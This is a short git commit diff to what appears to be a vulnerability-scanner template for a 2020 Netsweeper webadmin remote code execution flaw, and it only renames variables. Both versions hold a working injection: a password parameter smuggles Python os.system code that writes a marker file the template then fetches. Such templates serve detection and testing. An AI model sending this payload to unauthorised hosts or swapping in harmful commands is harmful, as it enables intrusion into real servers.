misc update

patch-1
sandeep 2023-07-20 14:52:46 +05:30
parent 81bc53273e
commit dd0c565377
1 changed files with 4 additions and 4 deletions

View File

@ -24,13 +24,13 @@ info:
tags: cve,cve2020,netsweeper,rce,python,webadmin tags: cve,cve2020,netsweeper,rce,python,webadmin
variables: variables:
randomstring: {{randstr}} rand_str: "{{randstr}}"
payload: echo "{{base64(randomstring)}}" | base64 -d > /usr/local/netsweeper/webadmin/out cmd: 'echo "{{base64(rand_str)}}" | base64 -d > /usr/local/netsweeper/webadmin/out'
http: http:
- method: GET - method: GET
path: path:
- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(payload))}}%27.decode%28%27hex%27%29%29%23&timeout=5" - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(cmd))}}%27.decode%28%27hex%27%29%29%23&timeout=5"
- "{{BaseURL}}/webadmin/out" - "{{BaseURL}}/webadmin/out"
headers: headers:
@ -41,7 +41,7 @@ http:
- type: word - type: word
part: body_2 part: body_2
words: words:
- "{{randomstring}}" - "{{rand_str}}"
- type: status - type: status
status: status: